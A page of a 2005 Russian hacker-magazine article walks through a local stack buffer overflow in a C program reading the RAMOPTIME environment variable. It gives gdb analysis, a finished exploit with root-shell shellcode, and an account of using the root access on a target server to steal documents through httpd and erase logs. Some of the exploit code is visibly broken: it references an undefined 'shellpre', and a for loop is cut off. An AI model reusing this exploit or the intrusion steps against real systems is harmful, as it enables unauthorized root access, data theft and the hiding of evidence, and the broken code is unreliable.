Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #82, ОКТЯБРЬ 2005 г.

Ночная бомбардировка

_1nf3ct0r_ (dr.pascal@mail.ru)

Хакер, номер #082, стр. 082-054-4


Первым делом, чтобы ты лучше представлял себе предмет разговора, я покажу тебе кусок уязвимого кода:

[бажный код bufove.c]

char *env;

char buf[100];

env = getenv("RAMOPTIME");

if ( env == NULL ) { return 0; }

sprintf(buf, "%s", env);

return 0;

Как легко понять, этот код читает переменную окружения RAMOPTIME при помощи функции getenv(), а затем записывает прочитанную строку в буфер buf (char buf[100]). Тут все просто, и уязвимость, что называется, налицо. Затем я записал в RAMOPTIME тысячу букв А (код 0x41) при помощи следующего кода:

bufove2uze.c

int main(int argc, char *argv[])

{

char buf[1000];

memset(buf, 0x41, 1000);

setenv("RAMOPTIME", buf, 1);

execl("env", "env", NULL);

}

Собрав при помощи gcc на своей площадке эти программы, я выполнил их и убедился в том, что произошло переполнение: появилось стандартное для Unix сообщение - Segmentation fault (core dumped). Все, теперь настало время наколбасить эксплойт к этому приложению и получить рутовые права на атакуемой машине.

[шелл-код в смокинге]

Не нужно быть гением лингвистики, чтобы понять: слова Segmentation fault (core dumped), обозначают, что произошло переполнение, и что на диск записан дамп памяти упавшего процесса. При помощи отладчика gdb можно открыть этот файл и получить некоторые дополнительные сведения:

$ gdb -core proc.core

Core was generated by `AAAA'.

Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.

Loaded symbols for /lib/tls/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

# 0 0x36333135 in ?? ()

// 0x36333135 - выдумано ;)

Далее мне понадобилось выяснить адрес возврата на шелл-код. Для этого я глянул регистр ESP:

x/100x $ESP

0xcffff1c0: 0x36333135 0x36333135 0x36333135 0x36333135

...

0xcffff310: 0x36333135 0x36333135 0x36333135 0x36333135 //Вот он!

Все, теперь мне осталось только написать эксплойт. Я довольно быстро наколбасил его, и сейчас покажу тебе этот простенький код:

[готовый эксплойт]

char shellinfector[] =

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"

"\x31\xc0\x50\x68\x2f\x2f\x73\x68"

"\x68\x2f\x62\x69\x6e\x89\xe3\x50"

"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])

{

long RET;

int i;

char buf[1000];

char *p;

RET = 0xcffff310;

p = buf;

memset(buf, 0x41, 1000+1-strlen(shellinfector));

sprintf(buf+1000+1-strlen(shellinfector), "%s", shellpre);

for ( i = 0; i

*(long*)(p+i) = RET;

setenv("RAMOPTIME", buf, 1);

execl("env", "env" , buf, NULL);

}

Здесь shellinfector - это машинный код, который выполняется с привилегиями текущего процесса, в моем случае под рутом. Я просто запускал командный интерпретатор.

Дописав сплоит, я собрал его и запустил на ломаемой машинке, мгновенно получив абсолютные привилегии на сервере. Не долго размышляя, я при помощи locate отыскал требуемые документы, сжал их в один tgz-архив, слил их через httpd, потер логи и уже собирался забыть всю эту историю.

Назад на стр. 082-054-3  Содержание  Вперед на стр. 082-054-5